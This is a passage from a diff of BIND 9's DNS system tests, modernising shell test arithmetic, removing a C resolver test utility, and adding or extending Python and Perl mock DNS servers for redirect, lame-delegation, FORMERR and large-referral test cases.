 echo_i "checking A nxdomain-redirect fails for nsec3 signed nonexist, DO=1 ($n)"
 ret=0
@@ -475,9 +479,9 @@ $DIG $DIGOPTS nonexist.nsec3. +dnssec @10.53.0.4 -b 10.53.0.2 a > dig.out.ns4.te
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA nxdomain-redirect fails for nsec3 signed nonexist, DO=1 ($n)"
 ret=0
@@ -485,9 +489,9 @@ $DIG $DIGOPTS nonexist.nsec3. +dnssec @10.53.0.4 -b 10.53.0.2 aaaa > dig.out.ns4
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY nxdomain-redirect fails for nsec3 signed nonexist, DO=1 ($n)"
 ret=0
@@ -496,41 +500,50 @@ grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking nxdomain-redirect works (with noerror) when qtype is not found ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.4 -b 10.53.0.2 txt > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking nxdomain-redirect against authoritative zone ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.example @10.53.0.4 -b 10.53.0.2 a > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking tld nxdomain-redirect against signed root zone ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.5 asdfasdfasdf > dig.out.ns5.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns5.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking tld nxdomain-redirect against unsigned root zone ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.6 asdfasdfasdf > dig.out.ns6.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns6.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+echo_i "checking extended error is not set on allow-recursion ($n)"
+ret=0
+$DIG $DIGOPTS example. @10.53.0.1 -b 10.53.0.2 soa > dig.out.ns1.test$n || ret=1
+grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
+grep "EDE" dig.out.ns1.test$n > /dev/null && ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/redirect/tests_sh_redirect.py b/bin/tests/system/redirect/tests_sh_redirect.py
new file mode 100644
index 0000000000..9009391236
--- /dev/null
+++ b/bin/tests/system/redirect/tests_sh_redirect.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_redirect(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/resolve.c b/bin/tests/system/resolve.c
deleted file mode 100644
index 165124a68f..0000000000
--- a/bin/tests/system/resolve.c
+++ /dev/null
@@ -1,505 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <arpa/inet.h>
-#include <netdb.h>
-#include <netinet/in.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#include <isc/app.h>
-#include <isc/attributes.h>
-#include <isc/base64.h>
-#include <isc/buffer.h>
-#include <isc/commandline.h>
-#include <isc/lib.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/sockaddr.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/client.h>
-#include <dns/fixedname.h>
-#include <dns/keyvalues.h>
-#include <dns/lib.h>
-#include <dns/name.h>
-#include <dns/rdata.h>
-#include <dns/rdataset.h>
-#include <dns/rdatastruct.h>
-#include <dns/rdatatype.h>
-#include <dns/result.h>
-#include <dns/secalg.h>
-
-#include <dst/dst.h>
-
-#include <irs/resconf.h>
-
-/*
- * Global contexts
- */
-
-isc_mem_t *ctxs_mctx = NULL;
-isc_appctx_t *ctxs_actx = NULL;
-isc_nm_t *ctxs_netmgr = NULL;
-isc_taskmgr_t *ctxs_taskmgr = NULL;
-isc_socketmgr_t *ctxs_socketmgr = NULL;
-isc_timermgr_t *ctxs_timermgr = NULL;
-
-static void
-ctxs_destroy(void) {
-	isc_managers_destroy(&ctxs_netmgr, &ctxs_taskmgr, &ctxs_timermgr,
-			     &ctxs_socketmgr);
-
-	if (ctxs_actx != NULL) {
-		isc_appctx_destroy(&ctxs_actx);
-	}
-
-	if (ctxs_mctx != NULL) {
-		isc_mem_destroy(&ctxs_mctx);
-	}
-}
-
-static isc_result_t
-ctxs_init(void) {
-	isc_result_t result;
-
-	isc_mem_create(&ctxs_mctx);
-
-	result = isc_appctx_create(ctxs_mctx, &ctxs_actx);
-	if (result != ISC_R_SUCCESS) {
-		goto fail;
-	}
-
-	isc_managers_create(ctxs_mctx, 1, 0, 0, &ctxs_netmgr, &ctxs_taskmgr,
-			    &ctxs_timermgr, &ctxs_socketmgr);
-
-	result = isc_app_ctxstart(ctxs_actx);
-	if (result != ISC_R_SUCCESS) {
-		goto fail;
-	}
-
-	return (ISC_R_SUCCESS);
-
-fail:
-	ctxs_destroy();
-
-	return (result);
-}
-
-static char *algname;
-
-static isc_result_t
-printdata(dns_rdataset_t *rdataset, dns_name_t *owner) {
-	isc_buffer_t target;
-	isc_result_t result;
-	isc_region_t r;
-	char t[4096];
-
-	if (!dns_rdataset_isassociated(rdataset)) {
-		printf("[WARN: empty]\n");
-		return (ISC_R_SUCCESS);
-	}
-
-	isc_buffer_init(&target, t, sizeof(t));
-
-	result = dns_rdataset_totext(rdataset, owner, false, false, &target);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	isc_buffer_usedregion(&target, &r);
-	printf("%.*s", (int)r.length, (char *)r.base);
-
-	return (ISC_R_SUCCESS);
-}
-
-ISC_NORETURN static void
-usage(void);
-
-static void
-usage(void) {
-	fprintf(stderr, "resolve [-t RRtype] "
-			"[[-a algorithm] [-e] -k keyname -K keystring] "
-			"[-S domain:serveraddr_for_domain ] [-s server_address]"
-			"[-b address[#port]] hostname\n");
-
-	exit(1);
-}
-
-static void
-set_key(dns_client_t *client, char *keynamestr, char *keystr, bool is_sep) {
-	isc_result_t result;
-	dns_fixedname_t fkeyname;
-	unsigned int namelen;
-	dns_name_t *keyname;
-	dns_rdata_dnskey_t keystruct;
-	unsigned char keydata[4096];
-	isc_buffer_t keydatabuf;
-	unsigned char rrdata[4096];
-	isc_buffer_t rrdatabuf;
-	isc_buffer_t b;
-	isc_textregion_t tr;
-	isc_region_t r;
-	dns_secalg_t alg;
-
-	if (algname != NULL) {
-		tr.base = algname;
-		tr.length = strlen(algname);
-		result = dns_secalg_fromtext(&alg, &tr);
-		if (result != ISC_R_SUCCESS) {
-			fprintf(stderr, "failed to identify the algorithm\n");
-			exit(1);
-		}
-	} else {
-		alg = DNS_KEYALG_RSASHA1;
-	}
-
-	keystruct.common.rdclass = dns_rdataclass_in;
-	keystruct.common.rdtype = dns_rdatatype_dnskey;
-	keystruct.flags = DNS_KEYOWNER_ZONE; /* fixed */
-	if (is_sep) {
-		keystruct.flags |= DNS_KEYFLAG_KSK;
-	}
-	keystruct.protocol = DNS_KEYPROTO_DNSSEC; /* fixed */
-	keystruct.algorithm = alg;
-
-	isc_buffer_init(&keydatabuf, keydata, sizeof(keydata));
-	isc_buffer_init(&rrdatabuf, rrdata, sizeof(rrdata));
-	result = isc_base64_decodestring(keystr, &keydatabuf);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "base64 decode failed\n");
-		exit(1);
-	}
-	isc_buffer_usedregion(&keydatabuf, &r);
-	keystruct.datalen = r.length;
-	keystruct.data = r.base;
-
-	result = dns_rdata_fromstruct(NULL, keystruct.common.rdclass,
-				      keystruct.common.rdtype, &keystruct,
-				      &rrdatabuf);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "failed to construct key rdata\n");
-		exit(1);
-	}
-	namelen = strlen(keynamestr);
-	isc_buffer_init(&b, keynamestr, namelen);
-	isc_buffer_add(&b, namelen);
-	keyname = dns_fixedname_initname(&fkeyname);
-	result = dns_name_fromtext(keyname, &b, dns_rootname, 0, NULL);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "failed to construct key name\n");
-		exit(1);
-	}
-	result = dns_client_addtrustedkey(client, dns_rdataclass_in,
-					  dns_rdatatype_dnskey, keyname,
-					  &rrdatabuf);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "failed to add key for %s\n", keynamestr);
-		exit(1);
-	}
-}
-
-static void
-addserver(dns_client_t *client, const char *addrstr, const char *port,
-	  const char *name_space) {
-	struct addrinfo hints, *res;
-	int gaierror;
-	isc_sockaddr_t sa;
-	isc_sockaddrlist_t servers;
-	isc_result_t result;
-	isc_buffer_t b;
-	dns_fixedname_t fname;
-	dns_name_t *name = NULL;
-
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_UNSPEC;
-	hints.ai_socktype = SOCK_DGRAM;
-	hints.ai_protocol = IPPROTO_UDP;
-	hints.ai_flags = AI_NUMERICHOST;
-	gaierror = getaddrinfo(addrstr, port, &hints, &res);
-	if (gaierror != 0) {
-		fprintf(stderr, "getaddrinfo failed: %s\n",
-			gai_strerror(gaierror));
-		exit(1);
-	}
-	INSIST(res->ai_addrlen <= sizeof(sa.type));
-	memmove(&sa.type, res->ai_addr, res->ai_addrlen);
-	sa.length = (unsigned int)res->ai_addrlen;
-	freeaddrinfo(res);
-	ISC_LINK_INIT(&sa, link);
-	ISC_LIST_INIT(servers);
-	ISC_LIST_APPEND(servers, &sa, link);
-
-	if (name_space != NULL) {
-		unsigned int namelen = strlen(name_space);
-		isc_buffer_constinit(&b, name_space, namelen);
-		isc_buffer_add(&b, namelen);
-		name = dns_fixedname_initname(&fname);
-		result = dns_name_fromtext(name, &b, dns_rootname, 0, NULL);
-		if (result != ISC_R_SUCCESS) {
-			fprintf(stderr, "failed to convert qname: %u\n",
-				result);
-			exit(1);
-		}
-	}
-
-	result = dns_client_setservers(client, dns_rdataclass_in, name,
-				       &servers);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "set server failed: %u\n", result);
-		exit(1);
-	}
-}
-
-int
-main(int argc, char *argv[]) {
-	int ch;
-	isc_textregion_t tr;
-	char *server = NULL;
-	char *altserver = NULL;
-	char *altserveraddr = NULL;
-	char *altservername = NULL;
-	dns_client_t *client = NULL;
-	char *keynamestr = NULL;
-	char *keystr = NULL;
-	isc_result_t result;
-	isc_buffer_t b;
-	dns_fixedname_t qname0;
-	unsigned int namelen;
-	dns_name_t *qname, *name;
-	dns_rdatatype_t type = dns_rdatatype_a;
-	dns_rdataset_t *rdataset;
-	dns_namelist_t namelist;
-	unsigned int clientopt, resopt = 0;
-	bool is_sep = false;
-	const char *port = "53";
-	struct in_addr in4;
-	struct in6_addr in6;
-	isc_sockaddr_t a4, a6;
-	isc_sockaddr_t *addr4 = NULL, *addr6 = NULL;
-
-	while ((ch = isc_commandline_parse(argc, argv, "a:b:es:t:k:K:p:S:")) !=
-	       -1) {
-		switch (ch) {
-		case 't':
-			tr.base = isc_commandline_argument;
-			tr.length = strlen(isc_commandline_argument);
-			result = dns_rdatatype_fromtext(&type, &tr);
-			if (result != ISC_R_SUCCESS) {
-				fprintf(stderr, "invalid RRtype: %s\n",
-					isc_commandline_argument);
-				exit(1);
-			}
-			break;
-		case 'a':
-			algname = isc_commandline_argument;
-			break;
-		case 'b':
-			if (inet_pton(AF_INET, isc_commandline_argument,
-				      &in4) == 1) {
-				if (addr4 != NULL) {
-					fprintf(stderr, "only one local "
-							"address per family "
-							"can be specified\n");
-					exit(1);
-				}
-				isc_sockaddr_fromin(&a4, &in4, 0);
-				addr4 = &a4;
-			} else if (inet_pton(AF_INET6, isc_commandline_argument,
-					     &in6) == 1) {
-				if (addr6 != NULL) {
-					fprintf(stderr, "only one local "
-							"address per family "
-							"can be specified\n");
-					exit(1);
-				}
-				isc_sockaddr_fromin6(&a6, &in6, 0);
-				addr6 = &a6;
-			} else {
-				fprintf(stderr, "invalid address %s\n",
-					isc_commandline_argument);
-				exit(1);
-			}
-			break;
-		case 'e':
-			is_sep = true;
-			break;
-		case 'S':
-			if (altserver != NULL) {
-				fprintf(stderr,
-					"alternate server "
-					"already defined: %s\n",
-					altserver);
-				exit(1);
-			}
-			altserver = isc_commandline_argument;
-			break;
-		case 's':
-			if (server != NULL) {
-				fprintf(stderr,
-					"server "
-					"already defined: %s\n",
-					server);
-				exit(1);
-			}
-			server = isc_commandline_argument;
-			break;
-		case 'k':
-			keynamestr = isc_commandline_argument;
-			break;
-		case 'K':
-			keystr = isc_commandline_argument;
-			break;
-		case 'p':
-			port = isc_commandline_argument;
-			break;
-		default:
-			usage();
-		}
-	}
-
-	argc -= isc_commandline_index;
-	argv += isc_commandline_index;
-	if (argc < 1) {
-		usage();
-	}
-
-	if (altserver != NULL) {
-		char *cp;
-
-		cp = strchr(altserver, ':');
-		if (cp == NULL) {
-			fprintf(stderr, "invalid alternate server: %s\n",
-				altserver);
-			exit(1);
-		}
-		*cp = '\0';
-		altservername = altserver;
-		altserveraddr = cp + 1;
-	}
-
-	isc_lib_register();
-	result = dns_lib_init();
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "dns_lib_init failed: %u\n", result);
-		exit(1);
-	}
-
-	result = ctxs_init();
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	clientopt = 0;
-	result = dns_client_create(ctxs_mctx, ctxs_actx, ctxs_taskmgr,
-				   ctxs_socketmgr, ctxs_timermgr, clientopt,
-				   &client, addr4, addr6);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "dns_client_create failed: %u, %s\n", result,
-			isc_result_totext(result));
-		exit(1);
-	}
-
-	/* Set the nameserver */
-	if (server == NULL) {
-		irs_resconf_t *resconf = NULL;
-		isc_sockaddrlist_t *nameservers;
-
-		result = irs_resconf_load(ctxs_mctx, "/etc/resolv.conf",
-					  &resconf);
-		if (result != ISC_R_SUCCESS && result != ISC_R_FILENOTFOUND) {
-			fprintf(stderr, "irs_resconf_load failed: %u\n",
-				result);
-			exit(1);
-		}
-		nameservers = irs_resconf_getnameservers(resconf);
-		result = dns_client_setservers(client, dns_rdataclass_in, NULL,
-					       nameservers);
-		if (result != ISC_R_SUCCESS) {
-			irs_resconf_destroy(&resconf);
-			fprintf(stderr, "dns_client_setservers failed: %u\n",
-				result);
-			exit(1);
-		}
-		irs_resconf_destroy(&resconf);
-	} else {
-		addserver(client, server, port, NULL);
-	}
-
-	/* Set the alternate nameserver (when specified) */
-	if (altserver != NULL) {
-		addserver(client, altserveraddr, port, altservername);
-	}
-
-	/* Install DNSSEC key (if given) */
-	if (keynamestr != NULL) {
-		if (keystr == NULL) {
-			fprintf(stderr, "key string is missing "
-					"while key name is provided\n");
-			exit(1);
-		}
-		set_key(client, keynamestr, keystr, is_sep);
-	}
-
-	/* Construct qname */
-	namelen = strlen(argv[0]);
-	isc_buffer_init(&b, argv[0], namelen);
-	isc_buffer_add(&b, namelen);
-	qname = dns_fixedname_initname(&qname0);
-	result = dns_name_fromtext(qname, &b, dns_rootname, 0, NULL);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "failed to convert qname: %u\n", result);
-	}
-
-	/* Perform resolution */
-	if (keynamestr == NULL) {
-		resopt |= DNS_CLIENTRESOPT_NODNSSEC;
-	}
-	ISC_LIST_INIT(namelist);
-	result = dns_client_resolve(client, qname, dns_rdataclass_in, type,
-				    resopt, &namelist);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "resolution failed: %s\n",
-			dns_result_totext(result));
-	}
-	for (name = ISC_LIST_HEAD(namelist); name != NULL;
-	     name = ISC_LIST_NEXT(name, link))
-	{
-		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
-		     rdataset = ISC_LIST_NEXT(rdataset, link))
-		{
-			if (printdata(rdataset, name) != ISC_R_SUCCESS) {
-				fprintf(stderr, "print data failed\n");
-			}
-		}
-	}
-
-	dns_client_freeresanswer(client, &namelist);
-
-	/* Cleanup */
-cleanup:
-	if (client != NULL) {
-		dns_client_destroy(&client);
-	}
-
-	ctxs_destroy();
-	dns_lib_shutdown();
-
-	return (0);
-}
diff --git a/bin/tests/system/resolver/ans10/ans.py b/bin/tests/system/resolver/ans10/ans.py
new file mode 100644
index 0000000000..6e95dbbfc6
--- /dev/null
+++ b/bin/tests/system/resolver/ans10/ans.py
@@ -0,0 +1,152 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from __future__ import print_function
+import os
+import sys
+import signal
+import socket
+import select
+from datetime import datetime, timedelta
+import time
+import functools
+
+import dns, dns.message, dns.query, dns.flags
+from dns.rdatatype import *
+from dns.rdataclass import *
+from dns.rcode import *
+from dns.name import *
+
+
+# Log query to file
+def logquery(type, qname):
+    with open("qlog", "a") as f:
+        f.write("%s %s\n", type, qname)
+
+
+############################################################################
+# Respond to a DNS query.
+# If there are EDNS options present return FORMERR copying the OPT record.
+# Otherwise:
+#   SOA gets a unsigned response.
+#   NS gets a unsigned response.
+#   A gets a unsigned response.
+#   All other types get a unsigned NODATA response.
+############################################################################
+def create_response(msg):
+    m = dns.message.from_wire(msg)
+    qname = m.question[0].name.to_text()
+    rrtype = m.question[0].rdtype
+    typename = dns.rdatatype.to_text(rrtype)
+
+    with open("query.log", "a") as f:
+        f.write("%s %s\n" % (typename, qname))
+        print("%s %s" % (typename, qname), end=" ")
+
+    if m.edns != -1 and len(m.options) != 0:
+        r = dns.message.make_response(m)
+        r.use_edns(
+            edns=m.edns, ednsflags=m.ednsflags, payload=m.payload, options=m.options
+        )
+        r.set_rcode(FORMERR)
+    else:
+        r = dns.message.make_response(m)
+        r.set_rcode(NOERROR)
+        if rrtype == A:
+            r.answer.append(dns.rrset.from_text(qname, 1, IN, A, "10.53.0.10"))
+        elif rrtype == NS:
+            r.answer.append(dns.rrset.from_text(qname, 1, IN, NS, "."))
+        elif rrtype == SOA:
+            r.answer.append(dns.rrset.from_text(qname, 1, IN, SOA, ". . 0 0 0 0 0"))
+        else:
+            r.authority.append(dns.rrset.from_text(qname, 1, IN, SOA, ". . 0 0 0 0 0"))
+        r.flags |= dns.flags.AA
+    return r
+
+
+def sigterm(signum, frame):
+    print("Shutting down now...")
+    os.remove("ans.pid")
+    running = False
+    sys.exit(0)
+
+
+############################################################################
+# Main
+#
+# Set up responder and control channel, open the pid file, and start
+# the main loop, listening for queries on the query channel or commands
+# on the control channel and acting on them.
+############################################################################
+ip4 = "10.53.0.10"
+ip6 = "fd92:7065:b8e:ffff::10"
+
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
+
+query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+query4_socket.bind((ip4, port))
+havev6 = True
+try:
+    query6_socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
+    try:
+        query6_socket.bind((ip6, port))
+    except:
+        query6_socket.close()
+        havev6 = False
+except:
+    havev6 = False
+signal.signal(signal.SIGTERM, sigterm)
+
+f = open("ans.pid", "w")
+pid = os.getpid()
+print(pid, file=f)
+f.close()
+
+running = True
+
+print("Listening on %s port %d" % (ip4, port))
+if havev6:
+    print("Listening on %s port %d" % (ip6, port))
+print("Ctrl-c to quit")
+
+if havev6:
+    input = [query4_socket, query6_socket]
+else:
+    input = [query4_socket]
+
+while running:
+    try:
+        inputready, outputready, exceptready = select.select(input, [], [])
+    except select.error as e:
+        break
+    except socket.error as e:
+        break
+    except KeyboardInterrupt:
+        break
+
+    for s in inputready:
+        if s == query4_socket or s == query6_socket:
+            print(
+                "Query received on %s" % (ip4 if s == query4_socket else ip6), end=" "
+            )
+            # Handle incoming queries
+            msg = s.recvfrom(65535)
+            rsp = create_response(msg[0])
+            if rsp:
+                print(dns.rcode.to_text(rsp.rcode()))
+                s.sendto(rsp.to_wire(), msg[1])
+            else:
+                print("NO RESPONSE")
+    if not running:
+        break
diff --git a/bin/tests/system/resolver/ans2/ans.pl b/bin/tests/system/resolver/ans2/ans.pl
index cc923e3dfb..aa1d51b57a 100644
--- a/bin/tests/system/resolver/ans2/ans.pl
+++ b/bin/tests/system/resolver/ans2/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -71,6 +73,15 @@
 		# Data for the "cname + other data / 2" test: same RRs in opposite order
 		$packet->push("answer", new Net::DNS::RR("cname2.example.com 300 A 1.2.3.4"));
 		$packet->push("answer", new Net::DNS::RR("cname2.example.com 300 CNAME cname2.example.com"));
+	} elsif ($qname =~ /redirect\.com/) {
+		$packet->push("authority", new Net::DNS::RR("redirect.com 300 NS ns.redirect.com"));
+		$packet->push("additional", new Net::DNS::RR("ns.redirect.com 300 A 10.53.0.6"));
+	} elsif ($qname =~ /\.tld1/) {
+		$packet->push("authority", new Net::DNS::RR("tld1 300 NS ns.tld1"));
+		$packet->push("additional", new Net::DNS::RR("ns.tld1 300 A 10.53.0.6"));
+	} elsif ($qname =~ /\.tld2/) {
+		$packet->push("authority", new Net::DNS::RR("tld2 300 NS ns.tld2"));
+		$packet->push("additional", new Net::DNS::RR("ns.tld2 300 A 10.53.0.7"));
 	} elsif ($qname eq "org" && $qtype eq "NS") {
 		$packet->header->aa(1);
 		$packet->push("answer", new Net::DNS::RR("org 300 NS a.root-servers.nil."));
@@ -102,6 +113,11 @@
 	} elsif ($qname =~ /example\.net/) {
 		$packet->push("authority", new Net::DNS::RR("example.net 300 NS ns.example.net"));
 		$packet->push("additional", new Net::DNS::RR("ns.example.net 300 A 10.53.0.3"));
+	} elsif ($qname =~ /lame\.example\.org/) {
+		$packet->header->ad(0);
+		$packet->header->aa(0);
+		$packet->push("authority", new Net::DNS::RR("lame.example.org 300 NS ns.lame.example.org"));
+		$packet->push("additional", new Net::DNS::RR("ns.lame.example.org 300 A 10.53.0.3"));
 	} elsif ($qname =~ /sub\.example\.org/) {
 		# Data for CNAME/DNAME filtering.  The final answers are
 		# expected to be accepted regardless of the filter setting.
@@ -115,6 +131,8 @@
 		# Delegation to broken TLD.
 		$packet->push("authority", new Net::DNS::RR("broken 300 NS ns.broken"));
 		$packet->push("additional", new Net::DNS::RR("ns.broken 300 A 10.53.0.4"));
+	} elsif ($qname =~ /\.partial-formerr/) {
+		$packet->header->rcode("FORMERR");
 	} else {
 		# Data for the "bogus referrals" test
 		$packet->push("authority", new Net::DNS::RR("below.www.example.com 300 NS ns.below.www.example.com"));
diff --git a/bin/tests/system/resolver/ans3/ans.pl b/bin/tests/system/resolver/ans3/ans.pl
index be8708ddf5..893c9ed8d5 100644
--- a/bin/tests/system/resolver/ans3/ans.pl
+++ b/bin/tests/system/resolver/ans3/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,11 +20,21 @@
 use Net::DNS;
 use Net::DNS::Packet;
 
+# Ignore SIGPIPE so we won't fail if peer closes a TCP socket early
+local $SIG{PIPE} = 'IGNORE';
+
+# Flush logged output after every line
+local $| = 1;
+
 my $localport = int($ENV{'PORT'});
 if (!$localport) { $localport = 5300; }
 
-my $sock = IO::Socket::INET->new(LocalAddr => "10.53.0.3",
-   LocalPort => $localport, Proto => "udp") or die "$!";
+my $server_addr = "10.53.0.3";
+
+my $udpsock = IO::Socket::INET->new(LocalAddr => "$server_addr",
+   LocalPort => $localport, Proto => "udp", Reuse => 1) or die "$!";
+my $tcpsock = IO::Socket::INET->new(LocalAddr => "$server_addr",
+   LocalPort => $localport, Proto => "tcp", Listen => 5, Reuse => 1) or die "$!";
 
 my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!";
 print $pidf "$$\n" or die "cannot write pid file: $!";
@@ -32,11 +44,8 @@
 $SIG{INT} = \&rmpid;
 $SIG{TERM} = \&rmpid;
 
-for (;;) {
-	$sock->recv($buf, 512);
-
-	print "**** request from " , $sock->peerhost, " port ", $sock->peerport, "\n";
-
+sub handleQuery {
+	my $buf = shift;
 	my $packet;
 
 	if ($Net::DNS::VERSION > 0.68) {
@@ -98,6 +107,18 @@
 	} elsif ($qname =~ /^nxdomain\.example\.net$/i) {
 		$packet->header->aa(1);
 		$packet->header->rcode(NXDOMAIN);
+	} elsif ($qname =~ /lame\.example\.org/) {
+		$packet->header->ad(0);
+		$packet->header->aa(0);
+		$packet->push("authority", new Net::DNS::RR("lame.example.org 300 NS ns.lame.example.org"));
+		$packet->push("additional", new Net::DNS::RR("ns.lame.example.org 300 A 10.53.0.3"));
+	} elsif ($qname eq "large-referral.example.net") {
+		for (my $i = 1; $i < 1000; $i++) {
+			$packet->push("authority", new Net::DNS::RR("large-referral.example.net 300 NS ns" . $i . ".fake.redirect.com"));
+		}
+		# No glue records
+	} elsif ($qname eq "foo.bar.sub.tld1") {
+		$packet->push("answer", new Net::DNS::RR("$qname 300 TXT baz"));
 	} elsif ($qname eq "cname.sub.example.org") {
 		$packet->push("answer",
 			      new Net::DNS::RR($qname .
@@ -118,13 +139,53 @@
 		$packet->push("answer",
 			      new Net::DNS::RR($qname .
 				       " 300 A 10.53.0.3"));
+	} elsif ($qname =~ /\.partial-formerr/) {
+		$packet->push("answer",
+			      new Net::DNS::RR($qname .  " 1 A 10.53.0.3"));
 	} else {
 		$packet->push("answer", new Net::DNS::RR("www.example.com 300 A 1.2.3.4"));
 	}
 
-	$sock->send($packet->data);
-
 	print "RESPONSE:\n";
 	$packet->print;
-	print "\n";
+
+	return $packet->data;
+}
+
+# Main
+my $rin;
+my $rout;
+for (;;) {
+	$rin = '';
+	vec($rin, fileno($tcpsock), 1) = 1;
+	vec($rin, fileno($udpsock), 1) = 1;
+
+	select($rout = $rin, undef, undef, undef);
+
+	if (vec($rout, fileno($udpsock), 1)) {
+		printf "UDP request\n";
+		my $buf;
+		$udpsock->recv($buf, 512);
+		my $result = handleQuery($buf);
+		my $num_chars = $udpsock->send($result);
+		print "  Sent $num_chars bytes via UDP\n";
+	} elsif (vec($rout, fileno($tcpsock), 1)) {
+		my $conn = $tcpsock->accept;
+		my $buf;
+		for (;;) {
+			my $lenbuf;
+			my $n = $conn->sysread($lenbuf, 2);
+			last unless $n == 2;
+			my $len = unpack("n", $lenbuf);
